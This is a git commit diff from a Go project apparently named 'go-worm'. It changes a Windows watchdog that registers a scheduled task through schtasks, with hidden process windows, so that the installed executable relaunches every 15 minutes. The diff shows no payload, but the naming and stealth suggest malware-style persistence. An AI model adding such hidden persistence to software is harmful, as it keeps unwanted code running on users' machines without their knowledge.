feat(watchdog): separate watchdog from startup
- Add /api/v1/watchdog to enable/disable - Scheduled task now runs every 15 minutes - Use schtasks command line instead of XML - Dashboard shows watchdog enabled state - Preserve watchdog state during install
This commit is contained in:
+41
-27
@@ -4,41 +4,61 @@ package startup
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"unicode/utf16"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
)
|
||||
|
||||
func enableWatchdog() error {
|
||||
func WatchdogEnabled() bool {
|
||||
return taskExists(config.WatchdogTaskName) || taskExists(config.WatchdogTaskNameLegacy)
|
||||
}
|
||||
|
||||
func EnableWatchdog() error {
|
||||
exe, err := config.InstalledExe()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmp, err := os.CreateTemp("", "win64_mp-task-*.xml")
|
||||
if err != nil {
|
||||
if err := runSchtasksCmdLine(schtasksCreateCmdLine(config.WatchdogTaskName, ensureTaskTR(exe))); err != nil {
|
||||
return err
|
||||
}
|
||||
path := tmp.Name()
|
||||
defer os.Remove(path)
|
||||
if err := tmp.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil {
|
||||
return err
|
||||
}
|
||||
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F")
|
||||
_ = runSchtasks("/Delete", "/TN", config.WatchdogTaskNameLegacy, "/F")
|
||||
return nil
|
||||
}
|
||||
|
||||
func disableWatchdog() error {
|
||||
err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
|
||||
if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
|
||||
return nil
|
||||
func DisableWatchdog() error {
|
||||
var first error
|
||||
for _, name := range []string{config.WatchdogTaskName, config.WatchdogTaskNameLegacy} {
|
||||
err := runSchtasks("/Delete", "/TN", name, "/F")
|
||||
if err == nil || taskNotFound(err) {
|
||||
continue
|
||||
}
|
||||
if first == nil {
|
||||
first = err
|
||||
}
|
||||
}
|
||||
return err
|
||||
return first
|
||||
}
|
||||
|
||||
func taskExists(name string) bool {
|
||||
return runSchtasks("/Query", "/TN", name) == nil
|
||||
}
|
||||
|
||||
func runSchtasksCmdLine(cmdLine string) error {
|
||||
cmd := exec.Command("schtasks")
|
||||
attr := helpers.HiddenSysProcAttr()
|
||||
attr.CmdLine = cmdLine
|
||||
cmd.SysProcAttr = attr
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
msg := strings.TrimSpace(string(out))
|
||||
if msg == "" {
|
||||
msg = err.Error()
|
||||
}
|
||||
return fmt.Errorf("schtasks: %s", msg)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func runSchtasks(args ...string) error {
|
||||
@@ -55,12 +75,6 @@ func runSchtasks(args ...string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func utf16LE(s string) []byte {
|
||||
u := utf16.Encode([]rune(s))
|
||||
out := make([]byte, 0, 2+len(u)*2)
|
||||
out = append(out, 0xFF, 0xFE)
|
||||
for _, r := range u {
|
||||
out = append(out, byte(r), byte(r>>8))
|
||||
}
|
||||
return out
|
||||
func taskNotFound(err error) bool {
|
||||
return strings.Contains(strings.ToLower(err.Error()), "cannot find")
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user